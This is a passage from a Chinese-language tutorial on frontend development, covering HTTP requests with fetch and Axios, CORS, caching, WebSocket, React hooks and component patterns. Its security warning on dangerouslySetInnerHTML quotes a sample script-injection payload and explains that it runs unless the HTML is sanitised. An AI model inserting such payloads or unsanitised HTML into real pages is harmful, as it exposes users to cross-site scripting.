Headers(请求头)——Content-Type: application/json、Authorization: Bearer token123。
4
Body(请求体)——POST/PUT 请求携带的数据,通常是 JSON 格式。

HTTP 状态码

状态码含义前端处理
200成功正常处理响应数据
201已创建POST 创建成功
204无内容DELETE 成功,没有返回数据
301/302重定向浏览器自动跳转
400请求错误参数有误,提示用户修改
401未登录跳转到登录页
403无权限提示"没有权限访问"
404未找到资源不存在,显示 404 页面
500服务器错误提示"服务器开小差了"

fetch API:原生网络请求

// GET 请求
const response = await fetch('https://api.example.com/users')
const data = await response.json()
console.log(data)

// POST 请求
const response = await fetch('https://api.example.com/users', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'Authorization': 'Bearer token123'
  },
  body: JSON.stringify({ name: '张三', email: 'zhangsan@example.com' })
})

if (!response.ok) {
  throw new Error(`HTTP ${response.status}: ${response.statusText}`)
}

const newUser = await response.json()

// 带查询参数的 GET 请求
const params = new URLSearchParams({ page: '1', limit: '10' })
const res = await fetch(`/api/users?${params}`)
const { data, total } = await res.json()

Axios:更强大的请求库

// 安装:pnpm add axios
import axios from 'axios'

// 基础用法
const { data } = await axios.get('/api/users')
const { data: newUser } = await axios.post('/api/users', { name: '张三' })
await axios.put('/api/users/1', { name: '李四' })
await axios.delete('/api/users/1')

// 创建实例(推荐)
const api = axios.create({
  baseURL: 'https://api.example.com',
  timeout: 10000,
  headers: { 'Content-Type': 'application/json' }
})

// 请求拦截器(自动添加 Token)
api.interceptors.request.use(config => {
  const token = localStorage.getItem('token')
  if (token) config.headers.Authorization = `Bearer ${token}`
  return config
})

// 响应拦截器(统一错误处理)
api.interceptors.response.use(
  response => response.data,
  error => {
    if (error.response?.status === 401) {
      window.location.href = '/login'
    }
    return Promise.reject(error)
  }
)
CORS 跨域问题

浏览器有同源策略——前端只能请求同域名、同端口的接口。如果前端跑在 localhost:5173,后端跑在 localhost:8000,就会被浏览器拦截(CORS 错误)。解决方案:1)后端配置 CORS 允许跨域;2)开发时用 Vite 的 proxy 代理;3)生产环境用 Nginx 反向代理。

CORS 是什么

CORS(Cross-Origin Resource Sharing)是浏览器的安全机制。当前端请求不同源的资源时,浏览器会检查服务器是否允许。

// Vite 开发代理配置(vite.config.ts)
export default defineConfig({
  server: {
    proxy: {
      '/api': {
        target: 'http://localhost:8000',  // 后端地址
        changeOrigin: true
      }
    }
  }
})
// 前端请求 /api/users → 代理转发到 http://localhost:8000/api/users

HTTP/2 与 HTTP/3

HTTP 协议在不断进化,HTTP/2 和 HTTP/3 带来了显著的性能提升:

特性HTTP/1.1HTTP/2HTTP/3
连接方式每个请求一个连接(或排队等待)一个连接多路复用基于 QUIC(UDP),0-RTT 建连
头部压缩无HPACK 压缩QPACK 压缩
服务器推送不支持支持(Server Push)支持
队头阻塞严重TCP 层面仍存在彻底解决(UDP)
典型场景已淘汰当前主流逐步普及(Cloudflare/Vercel 已支持)
前端开发者需要知道的

HTTP/2 的多路复用意味着你不需要再合并 CSS/JS 文件(HTTP/1.1 时代为了减少请求数而做的优化)。HTTP/2 下多个请求可以并行在一个连接上传输。但图片合并(sprite)仍然有意义,因为图片体积大。

HTTP 缓存机制

缓存是提升页面加载速度最有效的手段之一。浏览器缓存分为"强缓存"和"协商缓存"两层:

// === 强缓存:直接用本地缓存,不发请求 ===
// 响应头设置:
// Cache-Control: max-age=31536000  (缓存 1 年)
// Cache-Control: no-cache          (每次都要协商验证)
// Cache-Control: no-store          (完全不缓存)

// 前端常见的缓存策略:
// 1. HTML 文件:Cache-Control: no-cache(每次验证,保证拿到最新版本)
// 2. 带 hash 的 JS/CSS:Cache-Control: max-age=31536000(内容变了 hash 变,自动更新)
// 3. 图片/字体:Cache-Control: max-age=2592000(缓存 30 天)

// === 协商缓存:发请求问服务器,内容有没有变 ===
// 服务器比对 ETag 或 Last-Modified:
// If-None-Match: "abc123"       (对应响应头 ETag)
// If-Modified-Since: Thu, 01 Jan 2026 00:00:00 GMT  (对应 Last-Modified)
// 如果没变 → 304 Not Modified(不返回内容,用本地缓存)
// 如果变了 → 200(返回新内容)

WebSocket 实时通信

HTTP 是"请求-响应"模式——客户端不请求,服务器就不能主动推送数据。WebSocket 提供了全双工通信通道:

// WebSocket:建立连接后,双方可以随时互发消息
// 适用场景:聊天、实时通知、协同编辑、在线游戏

// 客户端连接
const ws = new WebSocket('wss://api.example.com/ws')

ws.onopen = () => {
  console.log('连接已建立')
  ws.send(JSON.stringify({ type: 'join', room: 'general' }))
}

ws.onmessage = (event) => {
  const data = JSON.parse(event.data)
  console.log('收到消息:', data)
}

ws.onclose = () => console.log('连接已关闭')
ws.onerror = (err) => console.error('连接错误:', err)

// 发送消息
ws.send(JSON.stringify({ type: 'message', text: '你好' }))

// === SSE(Server-Sent Events):服务器单向推送 ===
// 比 WebSocket 更简单,适用于服务器 → 客户端的单向推送
// 适用场景:实时数据流、通知推送、日志监控
const eventSource = new EventSource('/api/events')
eventSource.onmessage = (event) => {
  console.log('收到推送:', event.data)
}
eventSource.onerror = () => console.log('连接断开,自动重连中...')
// SSE 会自动重连,WebSocket 不会

AbortController 请求取消

当用户快速切换页面或搜索时,之前的请求可能还没返回。用 AbortController 取消不需要的请求:

// 创建控制器
const controller = new AbortController()

// 发送请求时传入 signal
const response = await fetch('/api/search?q=hello', {
  signal: controller.signal
})

// 需要取消时(如用户输入了新内容)
controller.abort()

// 实际应用:搜索防抖 + 请求取消
let currentController = null

async function search(query) {
  // 取消上一次请求
  if (currentController) {
    currentController.abort()
  }
  currentController = new AbortController()

  try {
    const res = await fetch(`/api/search?q=${query}`, {
      signal: currentController.signal
    })
    const data = await res.json()
    showResults(data)
  } catch (err) {
    if (err.name === 'AbortError') {
      console.log('请求已取消(正常行为)')
    } else {
      console.error('搜索失败:', err)
    }
  }
}

// Axios 也支持取消
const source = axios.CancelToken.source()
axios.get('/api/search', { cancelToken: source.token })
source.cancel('取消请求')
CORS 预检请求(Preflight)

当你的请求满足以下任一条件时,浏览器会先发送一个 OPTIONS 请求(预检)来确认服务器是否允许:1)使用了 PUT/DELETE/PATCH 等非简单方法;2)包含自定义 Header(如 Authorization);3)Content-Type 不是 application/x-www-form-urlencoded、multipart/form-data 或 text/plain。预检请求会增加一次网络往返。确保后端正确处理 OPTIONS 请求并返回正确的 CORS 头。

10. 前端框架全景

2026 年的前端开发,几乎没有人直接用原生 JS 写大型应用了。框架帮你解决了组件化、状态管理、路由、构建等大量问题。

一个类比

原生 JS 就像自己从零盖房子——一砖一瓦都自己搬。框架就像用预制件盖墙——标准化的组件拼起来就行。你仍然需要设计图纸(业务逻辑),但不用自己烧砖(操作 DOM)了。

三大框架对比

特性ReactVueSvelte
开发者Meta(Facebook)尤雨溪(社区驱动)Rich Harris
语法JSX(JS + HTML 混合)模板语法(类似 HTML)增强 HTML
学习曲线中等最低低
生态规模最大大中等
性能好(虚拟 DOM)好(响应式系统)最好(编译时优化)
招聘需求最多多(国内更多)少但增长快
适合场景大型复杂应用中小型到大型中小型、追求极致性能

框架解决了什么问题

// 没有框架的原生 JS 开发,你需要自己处理:

// 1. DOM 操作(繁琐、易错)
document.getElementById('list').innerHTML = ''
items.forEach(item => {
  const li = document.createElement('li')
  li.textContent = item.name
  document.getElementById('list').appendChild(li)
})

// 2. 状态管理(数据变了,手动更新 UI)
let count = 0
function updateUI() {
  document.getElementById('count').textContent = count
  document.getElementById('btn').disabled = count >= 10
}

// 3. 事件处理(手动绑定和解绑)
// 4. 组件复用(没有标准方式)
// 5. 路由(手动监听 URL 变化)

// 有了框架,你只需要声明"要什么":
// React:<ul>{items.map(item => <li key={item.id}>{item.name}</li>)}</ul>
// Vue:<li v-for="item in items" :key="item.id">{{ item.name }}</li>
// 框架自动帮你操作 DOM、管理状态、处理更新

怎么选

1
找工作优先——选 React。全球招聘需求最大,大厂几乎都用 React。
2
快速上手——选 Vue。语法最直观,学习曲线最平缓,中文社区最好。
3
追求极致——选 Svelte。编译时框架,没有运行时开销,代码最简洁。
4
两个都学——先学一个深入,再了解另一个。核心思想相通,切换成本不高。

Angular:企业级全功能框架

Angular 是 Google 维护的框架,提供了"全家桶"式的完整解决方案:

特性说明
语言强制使用 TypeScript(最早拥抱 TS 的框架)
架构模块化(NgModule)+ 依赖注入 + 装饰器
内置功能路由、表单、HTTP 客户端、国际化、动画——开箱即用
信号(Signals)Angular 16+ 引入响应式信号,性能大幅提升
适合场景大型企业应用、银行/政府系统、需要严格规范的团队
缺点学习曲线最陡、概念最多(装饰器/模块/服务/管道/守卫)

新兴框架:Solid.js 与 Qwik

框架核心理念特点适合场景
Solid.js细粒度响应式没有虚拟 DOM,直接操作真实 DOM;API 类似 React hooks 但性能更好;编译时优化追求极致性能、React 开发者迁移
Qwik可恢复性(Resumability)不需要 Hydration,页面瞬间可交互;JS 按需加载,首屏几乎零 JS;自动懒加载事件处理内容型网站、对首屏性能要求极高
Astro内容优先默认零 JS 输出;岛屿架构(Islands)——只有交互组件加载 JS;可混用 React/Vue/Svelte 组件博客、文档、营销页、内容站
Hydration vs Resumability

传统 SSR 框架(React/Vue)需要 Hydration——服务端渲染 HTML 后,客户端重新执行一遍 JS 来"激活"交互。这导致首屏可见但不可交互。Qwik 的 Resumability 直接从服务端状态恢复,跳过 Hydration,实现即时交互。这是前端架构的一个重要进化方向。

元框架(Meta-Frameworks)

元框架 = 前端框架 + 服务端能力 + 构建工具。2026 年的趋势是"框架之上的框架":

元框架基于核心能力适合场景
Next.jsReactSSR/SSG/ISR、App Router、Server Components、API RoutesReact 全栈应用、SEO 友好的网站
Nuxt 3VueSSR/SSG、自动导入、服务端路由、Nitro 引擎Vue 全栈应用、内容型网站
SvelteKitSvelteSSR/SSG、表单操作、极致性能追求简洁和性能的全栈应用
Astro多框架内容优先、岛屿架构、零 JS 默认博客、文档、营销页
RemixReactWeb 标准优先、嵌套路由、数据加载/操作表单密集型应用、渐进增强

框架选择决策矩阵

根据项目类型和团队情况选择框架:

决策维度选 React + Next.js选 Vue + Nuxt选 Angular
团队规模中大型团队(5+ 人)小到中型团队(1-10 人)大型团队(10+ 人)
项目类型复杂 SPA、SaaS、社交平台管理后台、电商、内容站企业系统、银行、ERP
招聘市场全球需求最大国内需求大,海外增长中企业级岗位
灵活性最灵活(库思维)平衡(渐进式)最规范(框架思维)
全栈方案Next.js / RemixNuxt 3Angular Universal
第二部分 · React 生态

11. React 快速上手

React 是目前最流行的前端框架。它的核心思想很简单:把页面拆成一个个组件,每个组件管理自己的状态,状态变了界面自动更新。

一个类比

React 组件就像乐高积木。每块积木(组件)有自己独立的形状和颜色(状态和 UI)。你可以把小积木拼成大积木(组件嵌套),也可以把积木拆开重组(组件复用)。整个应用就是由一块块积木拼起来的。

JSX:在 JS 中写 HTML

// JSX 不是 HTML,但看起来很像
// 本质上是 React.createElement() 的语法糖

// JSX 表达式
const name = '张三'
const element = <h1>你好,{name}</h1>  // 用 {} 嵌入 JS 表达式

// 条件渲染
const greeting = isLoggedIn
  ? <h1>欢迎回来!</h1>
  : <h1>请登录</h1>

// 列表渲染
const items = ['苹果', '香蕉', '橙子']
const list = (
  <ul>
    {items.map((item, index) => (
      <li key={index}>{item}</li>   // key 是必须的,帮助 React 识别变化
    ))}
  </ul>
)

// 事件处理
const handleClick = () => alert('点击了!')
const handleChange = (e) => console.log(e.target.value)

const form = (
  <div>
    <button onClick={handleClick}>点击我</button>
    <input onChange={handleChange} />
  </div>
)
JSX 注意事项

1)JSX 中用 className 代替 class(class 是 JS 关键字);2)用 htmlFor 代替 for;3)所有标签必须闭合,包括 <img /> 和 <br />;4)用 {} 嵌入 JS 表达式,不能嵌入语句(if/for);5)style 必须是对象:style={{ color: 'red', fontSize: '16px' }}。

组件:函数组件

// 函数组件:一个返回 JSX 的函数
// 2026 年 React 只用函数组件,类组件已淘汰

function Welcome({ name }) {
  return <h1>你好,{name}!</h1>
}

// 使用组件
function App() {
  return (
    <div>
      <Welcome name="张三" />
      <Welcome name="李四" />
    </div>
  )
}

// 组件嵌套
function App() {
  return (
    <div className="app">
      <Header />
      <main>
        <Sidebar />
        <Content />
      </main>
      <Footer />
    </div>
  )
}

Props:组件的参数

// Props 是父组件传给子组件的数据(只读,子组件不能修改)

function UserCard({ name, age, avatar }) {
  return (
    <div className="card">
      <img src={avatar} alt={name} />
      <h2>{name}</h2>
      <p>年龄:{age}</p>
    </div>
  )
}

// 父组件使用
function App() {
  return (
    <div>
      <UserCard name="张三" age={25} avatar="/avatars/zhangsan.jpg" />
      <UserCard name="李四" age={30} avatar="/avatars/lisi.jpg" />
    </div>
  )
}

// children 特殊 prop
function Card({ title, children }) {
  return (
    <div className="card">
      <h2>{title}</h2>
      <div className="card-body">{children}</div>
    </div>
  )
}

// 使用 children
<Card title="用户信息">
  <p>这里是卡片内容</p>
  <button>操作按钮</button>
</Card>

State:组件的状态

// State 是组件内部的"记忆"——当它变化时,组件会重新渲染

import { useState } from 'react'

function Counter() {
  // useState 返回 [当前值, 修改函数]
  const [count, setCount] = useState(0)  // 初始值为 0

  return (
    <div>
      <p>你点击了 {count} 次</p>
      <button onClick={() => setCount(count + 1)}>+1</button>
      <button onClick={() => setCount(count - 1)}>-1</button>
      <button onClick={() => setCount(0)}>重置</button>
    </div>
  )
}

// 对象 state
function UserForm() {
  const [user, setUser] = useState({ name: '', email: '' })

  // ❌ 错误:直接修改 state 对象(React 不会重新渲染)
  // user.name = '张三'

  // ✅ 正确:创建新对象
  const updateName = (name) => {
    setUser({ ...user, name })  // 展开运算符创建新对象
  }

  // ✅ 也可以用函数式更新(推荐)
  const increment = () => {
    setCount(prev => prev + 1)  // prev 是最新的值
  }
}
State 的规则

1)State 是只读的——永远不要直接修改 state 对象,而是用 setter 函数创建新值;2)State 更新是异步的——调用 setCount 后,count 不会立刻变化,而是在下次渲染时更新;3)多个相同 state 更新会被合并(批处理);4)用函数式更新 setCount(prev => prev + 1) 确保基于最新值。

Fragment:无需额外 DOM 包裹

// 组件必须返回单个根元素,但有时你不想多一层 div
// 用 Fragment(<>...</>)包裹,不会产生额外 DOM 节点

function Columns() {
  return (
    <>
      <td>姓名</td>
      <td>年龄</td>
      <td>城市</td>
    </>
  )
}

// 等价于 <React.Fragment>...</React.Fragment>
// Fragment 也支持 key 属性(用于列表渲染时):
{items.map(item => (
  <React.Fragment key={item.id}>
    <dt>{item.name}</dt>
    <dd>{item.desc}</dd>
  </React.Fragment>
))}

dangerouslySetInnerHTML:谨慎插入 HTML

// React 默认会对内容转义,防止 XSS 攻击
// 如果你确实需要插入原始 HTML,用 dangerouslySetInnerHTML

function Article({ htmlContent }) {
  // ✅ 用法:属性值必须是 {__html: '...'} 的对象
  return <div dangerouslySetInnerHTML={{ __html: htmlContent }} />
}

// ❌ 这样写不会渲染 HTML,只会显示字符串
// <div>{htmlContent}</div>

// ⚠️ 只用于你信任的内容(如后端返回的富文本)
// 绝对不要用于用户输入!
dangerouslySetInnerHTML 安全警告

名字中的 "dangerously" 不是玩笑——如果 htmlContent 包含恶意脚本(如 <script>alert('XSS')</script>),会直接执行。永远只对你信任的内容使用,用户输入必须先用 DOMPurify 等库做消毒处理。

JSX 渲染边界行为

// boolean、null、undefined 在 JSX 中不会渲染任何内容

function Demo() {
  return (
    <div>
      {true}        {/* 不渲染 */}
      {false}       {/* 不渲染 */}
      {null}        {/* 不渲染 */}
      {undefined}   {/* 不渲染 */}

      {0}           {/* 渲染为 "0" ⚠️ */}
      {''}          {/* 渲染为空字符串(占位但不可见) */}

      {/* 常见坑:条件渲染时 */}
      {isReady && <Component />}           {/* isReady=false 时渲染 false → 不显示,正常 */}
      {count && <Component />}             {/* count=0 时渲染 "0" → 页面显示 "0",异常! */}
      {count > 0 && <Component />}         {/* ✅ 正确写法 */}
    </div>
  )
}
JSX 中的假值陷阱

false、null、undefined 不渲染,但 0 和 ''(空字符串)会渲染!用 && 做条件渲染时,左边如果可能是数字,务必用比较运算符(如 count > 0 && ...)避免意外显示 "0"。

12. Hooks 深入

Hooks 是 React 16.8 引入的特性,让函数组件拥有了状态和生命周期等能力。2026 年,所有 React 代码都用 Hooks。

一个类比

Hooks 就像组件的"超级能力插件"。useState 让组件有"记忆",useEffect 让组件能"做副作用",useRef 让组件能"抓东西"。你需要什么能力,就"插"上对应的 Hook。

useState:状态管理

import { useState } from 'react'

function TodoApp() {
  const [todos, setTodos] = useState([])
  const [input, setInput] = useState('')

  const addTodo = () => {
    if (!input.trim()) return
    setTodos(prev => [...prev, { id: Date.now(), text: input, done: false }])
    setInput('')
  }

  const toggleTodo = (id) => {
    setTodos(prev => prev.map(todo =>
      todo.id === id ? { ...todo, done: !todo.done } : todo
    ))
  }

  const deleteTodo = (id) => {
    setTodos(prev => prev.filter(todo => todo.id !== id))
  }

  return (
    <div>
      <input value={input} onChange={e => setInput(e.target.value)} />
      <button onClick={addTodo}>添加</button>
      <ul>
        {todos.map(todo => (
          <li key={todo.id} onClick={() => toggleTodo(todo.id)}>
            <span style={{ textDecoration: todo.done ? 'line-through' : 'none' }}>
              {todo.text}
            </span>
            <button onClick={() => deleteTodo(todo.id)}>删除</button>
          </li>
        ))}
      </ul>
    </div>
  )
}

useEffect:副作用处理

import { useState, useEffect } from 'react'

// useEffect 的三个场景:
// 1. 组件挂载时执行一次(空依赖数组)
// 2. 每次某个值变化时执行(依赖数组中有值)
// 3. 组件卸载时清理(返回清理函数)

function UserProfile({ userId }) {
  const [user, setUser] = useState(null)
  const [loading, setLoading] = useState(true)

  // 场景 1:数据获取(userId 变化时重新获取)
  useEffect(() => {
    let cancelled = false
    setLoading(true)

    fetch(`/api/users/${userId}`)
      .then(res => res.json())
      .then(data => {
        if (!cancelled) {
          setUser(data)
          setLoading(false)
        }
      })

    // 清理函数:组件卸载或 userId 变化时执行
    return () => { cancelled = true }
  }, [userId])  // 依赖数组:只有 userId 变化时才重新执行

  // 场景 2:订阅事件(挂载时订阅,卸载时取消)
  useEffect(() => {
    const handleResize = () => console.log('窗口大小变了')
    window.addEventListener('resize', handleResize)
    return () => window.removeEventListener('resize', handleResize)
  }, [])  // 空数组 = 只在挂载和卸载时执行

  // 场景 3:document.title 同步
  useEffect(() => {
    document.title = user ? `${user.name} 的主页` : '加载中...'
  }, [user])

  if (loading) return <p>加载中...</p>
  return <h1>{user.name}</h1>
}
useEffect 常见错误

1)忘记依赖数组 → 每次渲染都执行(死循环);2)依赖数组遗漏变量 → 闭包陷阱(拿到旧值);3)在 effect 中没有清理 → 内存泄漏。规则:effect 中用到的所有响应式变量都要放进依赖数组。用 ESLint 插件 eslint-plugin-react-hooks 自动检查。

useRef:引用 DOM 和持久化值

import { useRef } from 'react'

function SearchInput() {
  const inputRef = useRef(null)

  const focusInput = () => {
    inputRef.current.focus()  // 直接操作 DOM
  }

  return (
    <div>
      <input ref={inputRef} placeholder="搜索..." />
      <button onClick={focusInput}>聚焦输入框</button>
    </div>
  )
}

// useRef 的另一个用途:持久化值(不触发重新渲染)
function Timer() {
  const [seconds, setSeconds] = useState(0)
  const intervalRef = useRef(null)

  const start = () => {
    intervalRef.current = setInterval(() => {
      setSeconds(prev => prev + 1)
    }, 1000)
  }

  const stop = () => {
    clearInterval(intervalRef.current)
  }

  return (
    <div>
      <p>{seconds} 秒</p>
      <button onClick={start}>开始</button>
      <button onClick={stop}>停止</button>
    </div>
  )
}

useMemo 和 useCallback:性能优化

import { useMemo, useCallback } from 'react'

function UserList({ users, filter }) {
  // useMemo:缓存计算结果(只有 users 或 filter 变化时才重新计算)
  const filteredUsers = useMemo(() => {
    console.log('过滤用户...')  // 只在依赖变化时打印
    return users.filter(u => u.name.includes(filter))
  }, [users, filter])

  // useCallback:缓存函数引用(避免子组件不必要的重新渲染)
  const handleDelete = useCallback((id) => {
    // 删除逻辑
  }, [])  // 依赖数组为空 = 函数引用永远不变

  return (
    <ul>
      {filteredUsers.map(user => (
        <UserItem key={user.id} user={user} onDelete={handleDelete} />
      ))}
    </ul>
  )
}

// React.memo:只在 props 变化时重新渲染
const UserItem = React.memo(({ user, onDelete }) => {
  console.log(`渲染 UserItem: ${user.name}`)
  return (
    <li>
      {user.name}
      <button onClick={() => onDelete(user.id)}>删除</button>
    </li>
  )
})
何时使用 useMemo / useCallback

不要到处都加!只在以下场景使用:1)useMemo:计算代价大的操作(排序、过滤大数组);2)useCallback:传给 memo 子组件的回调函数;3)作为其他 Hook 的依赖。过早优化是万恶之源——先写简单代码,遇到性能问题再优化。

自定义 Hook

// 自定义 Hook:把可复用的逻辑抽离出来
// 命名以 use 开头

// 示例 1:useLocalStorage
function useLocalStorage(key, initialValue) {
  const [value, setValue] = useState(() => {
    const saved = localStorage.getItem(key)
    return saved ? JSON.parse(saved) : initialValue
  })

  useEffect(() => {
    localStorage.setItem(key, JSON.stringify(value))
  }, [key, value])

  return [value, setValue]
}

// 使用
const [theme, setTheme] = useLocalStorage('theme', 'light')

// 示例 2:useFetch
function useFetch(url) {
  const [data, setData] = useState(null)
  const [loading, setLoading] = useState(true)
  const [error, setError] = useState(null)

  useEffect(() => {
    let cancelled = false
    fetch(url)
      .then(res => res.json())
      .then(data => { if (!cancelled) setData(data) })
      .catch(err => { if (!cancelled) setError(err) })
      .finally(() => { if (!cancelled) setLoading(false) })
    return () => { cancelled = true }
  }, [url])

  return { data, loading, error }
}

// 使用
const { data: users, loading, error } = useFetch('/api/users')

useReducer:复杂状态逻辑

当状态逻辑复杂(多个子值、下一个状态依赖前一个状态)时,useReducer 比 useState 更合适:

import { useReducer } from 'react'

// 定义 reducer:纯函数,根据 action 返回新状态
function counterReducer(state, action) {
  switch (action.type) {
    case 'increment':
      return { count: state.count + 1 }
    case 'decrement':
      return { count: state.count - 1 }
    case 'reset':
      return { count: 0 }
    case 'incrementByAmount':
      return { count: state.count + action.payload }
    default:
      throw new Error(`未知 action: ${action.type}`)
  }
}

function Counter() {
  const [state, dispatch] = useReducer(counterReducer, { count: 0 })

  return (
    <div>
      <p>计数:{state.count}</p>
      <button onClick={() => dispatch({ type: 'increment' })}>+1</button>
      <button onClick={() => dispatch({ type: 'decrement' })}>-1</button>
      <button onClick={() => dispatch({ type: 'incrementByAmount', payload: 5 })}>+5</button>
      <button onClick={() => dispatch({ type: 'reset' })}>重置</button>
    </div>
  )
}
useState vs useReducer

简单状态(一个值、独立更新)用 useState;复杂状态(多个关联字段、依赖前值、集中管理更新逻辑)用 useReducer。Reducer 让状态变化可预测、可测试,也是 Redux 的核心概念。

useLayoutEffect:同步副作用

useLayoutEffect 与 useEffect 的执行时机不同——它在 DOM 变更后、浏览器绘制之前同步执行,适合需要测量 DOM 或同步修改样式的场景:

import { useLayoutEffect, useRef, useState } from 'react'

function Tooltip({ targetRef, text }) {
  const tooltipRef = useRef(null)
  const [position, setPosition] = useState({ top: 0, left: 0 })

  // 必须用 useLayoutEffect:需要在绘制前测量 DOM 并调整位置
  // 如果用 useEffect,用户会先看到闪烁(位置错误 → 修正)
  useLayoutEffect(() => {
    const targetRect = targetRef.current.getBoundingClientRect()
    const tooltipRect = tooltipRef.current.getBoundingClientRect()

    setPosition({
      top: targetRect.top - tooltipRect.height - 8,
      left: targetRect.left + (targetRect.width - tooltipRect.width) / 2
    })
  }, [targetRef, text])

  return (
    <div ref={tooltipRef} style={{ position: 'fixed', ...position }}>
      {text}
    </div>
  )
}
注意

useLayoutEffect 会阻塞浏览器绘制,过度使用会导致性能问题。大多数场景用 useEffect 即可。只有在需要同步读取 DOM 布局(如位置、尺寸)并避免视觉闪烁时才用 useLayoutEffect。SSR 中需要特殊处理(会报警告)。

useTransition / useDeferredValue(并发特性)

React 18+ 的并发特性让 UI 更流畅——可以标记低优先级更新,避免阻塞用户输入:

import { useState, useTransition, useDeferredValue } from 'react'

// 用法一:useTransition —— 标记低优先级更新
function SearchPage() {
  const [input, setInput] = useState('')
  const [list, setList] = useState([])
  const [isPending, startTransition] = useTransition()

  const handleInput = (e) => {
    setInput(e.target.value)  // 高优先级:立即更新输入框

    // 低优先级:可以被中断,用户输入不会卡顿
    startTransition(() => {
      setList(filterLargeList(e.target.value))
    })
  }

  return (
    <div>
      <input value={input} onChange={handleInput} />
      {isPending && <p>加载中...</p>}
      <ul>
        {list.map(item => <li key={item.id}>{item.name}</li>)}
      </ul>
    </div>
  )
}

// 用法二:useDeferredValue —— 延迟更新非关键 UI
function HighlightResults({ query }) {
  const deferredQuery = useDeferredValue(query)
  const isStale = query !== deferredQuery

  return (
    <div style={{ opacity: isStale ? 0.6 : 1 }}>
      <HeavyList filter={deferredQuery} />
    </div>
  )
}
何时使用并发特性

useTransition 适合包装 setState 调用;useDeferredValue 适合包装 props。两者目的相同:让优先级高的更新(用户输入、点击)先执行,低优先级的渲染(大列表过滤、图表重绘)延后。2026 年,React Router 和数据获取库已内置并发支持。

13. 组件设计模式

好的组件设计让代码可维护、可复用、可测试。这一章介绍 React 中常用的组件设计模式。

组合 vs 继承

// React 推荐组合,不推荐继承

// ❌ 不好:继承
class Dialog extends React.Component { ... }
class AlertDialog extends Dialog { ... }
class ConfirmDialog extends Dialog { ... }

// ✅ 好:组合
function Dialog({ title, children, onClose }) {
  return (
    <div className="dialog">
      <div className="dialog-header">
        <h2>{title}</h2>
        <button onClick={onClose}>×</button>
      </div>
      <div className="dialog-body">{children}</div>
    </div>
  )
}

// 通过组合创建不同类型的对话框
function AlertDialog({ message, onClose }) {
  return (
    <Dialog title="提示" onClose={onClose}>
      <p>{message}</p>
      <button onClick={onClose}>确定</button>
    </Dialog>
  )
}

function ConfirmDialog({ message, onConfirm, onCancel }) {
  return (
    <Dialog title="确认" onClose={onCancel}>
      <p>{message}</p>
      <button onClick={onCancel}>取消</button>
      <button onClick={onConfirm}>确认</button>
    </Dialog>
  )
}

受控组件 vs 非受控组件

// 受控组件:值由 React state 控制(推荐)
function ControlledInput() {
  const [value, setValue] = useState('')
  return (
    <input
      value={value}
      onChange={e => setValue(e.target.value)}
    />
  )
  // 优势:可以实时校验、格式化、条件禁用
}

// 非受控组件:值由 DOM 自身管理
function UncontrolledInput() {
  const inputRef = useRef()
  const handleSubmit = () => {
    console.log(inputRef.current.value)
  }
  return <input ref={inputRef} defaultValue="初始值" />
  // 优势:代码简单,适合简单表单
}

Render Props 模式

// Render Props:把渲染逻辑交给使用者
function MouseTracker({ render }) {
  const [pos, setPos] = useState({ x: 0, y: 0 })

  useEffect(() => {
    const handler = (e) => setPos({ x: e.clientX, y: e.clientY })
    window.addEventListener('mousemove', handler)
    return () => window.removeEventListener('mousemove', handler)
  }, [])

  return render(pos)
}

// 使用
<MouseTracker render={({ x, y }) => (
  <p>鼠标位置:({x}, {y})</p>
)} />

// 2026 年更推荐用自定义 Hook 代替 Render Props
function useMousePosition() {
  const [pos, setPos] = useState({ x: 0, y: 0 })
  useEffect(() => {
    const handler = (e) => setPos({ x: e.clientX, y: e.clientY })
    window.addEventListener('mousemove', handler)
    return () => window.removeEventListener('mousemove', handler)
  }, [])
  return pos
}

// 使用(更简洁)
const { x, y } = useMousePosition()

组件拆分原则

1
单一职责——一个组件只做一件事。如果一个组件又管表单又管列表,就拆开。
2
可复用性——如果一段 UI 在两个地方出现,就抽成组件。
3
适当粒度——不要过度拆分。一个 50 行的组件不需要拆成 5 个 10 行的。
4
关注分离——容器组件(管数据)和展示组件(管 UI)分开。

Error Boundary 错误边界

// Error Boundary 是 React 中捕获子组件渲染错误的机制
// 注意:必须用 class 组件(目前函数组件无法替代)

class ErrorBoundary extends React.Component {
  constructor(props) {
    super(props)
    this.state = { hasError: false, error: null }
  }

  // 渲染阶段捕获错误,更新 state(替代 getDerivedStateFromProps 的错误版)
  static getDerivedStateFromError(error) {
    return { hasError: true, error }
  }

  // 错误报告:记录错误信息、发送到监控服务
  componentDidCatch(error, errorInfo) {
    console.error('组件错误:', error, errorInfo.componentStack)
    // 可发送到 Sentry、LogRocket 等监控平台
    // logErrorToService(error, errorInfo)
  }

  render() {
    if (this.state.hasError) {
      return (
        <div className="error-fallback">
          <h2>😵 出错了</h2>
          <p>{this.state.error?.message || '组件渲染失败'}</p>
          <button onClick={() => this.setState({ hasError: false })}>
            重试
          </button>
        </div>
      )
    }
    return this.props.children
  }
}

// 使用:包裹可能出错的组件
function App() {
  return (
    <ErrorBoundary>
      <UserProfile />      {/* 如果这里报错,不会崩溃整个应用 */}
      <Dashboard />
    </ErrorBoundary>
  )
}

// 按功能区域设置多个 Error Boundary
<ErrorBoundary fallback={<p>侧边栏加载失败</p>}>
  <Sidebar />
</ErrorBoundary>
<ErrorBoundary fallback={<p>内容区加载失败</p>}>
  <MainContent />
</ErrorBoundary>
Error Boundary 的限制

Error Boundary 只能捕获以下错误:1)子组件渲染过程中的错误;2)生命周期方法中的错误;3)构造函数中的错误。它不能捕获:事件处理函数中的错误(用 try/catch)、异步代码(setTimeout、Promise)、Error Boundary 自身的错误。2026 年社区仍在等待函数组件版本的 Error Boundary。

复合组件模式(Compound Components)

// 复合组件:多个组件协同工作,共享隐式状态
// 经典例子:<select> 和 <option> 的关系

import { createContext, useContext, useState } from 'react'

// 1. 创建 Context
const TabsContext = createContext(null)

// 2. 父组件:管理状态,通过 Context 分发给子组件
function Tabs({ children, defaultIndex = 0 }) {
  const [activeIndex, setActiveIndex] = useState(defaultIndex)

  return (
    <TabsContext.Provider value={{ activeIndex, setActiveIndex }}>
      <div className="tabs">{children}</div>
    </TabsContext.Provider>
  )
}

// 3. 子组件:从 Context 获取状态
function TabList({ children }) {
  return <div className="tab-list">{children}</div>
}

function Tab({ index, children }) {
  const { activeIndex, setActiveIndex } = useContext(TabsContext)
  return (
    <button
      className={`tab ${activeIndex === index ? 'active' : ''}`}
      onClick={() => setActiveIndex(index)}
    >
      {children}
    </button>
  )
}

function TabPanels({ children }) {
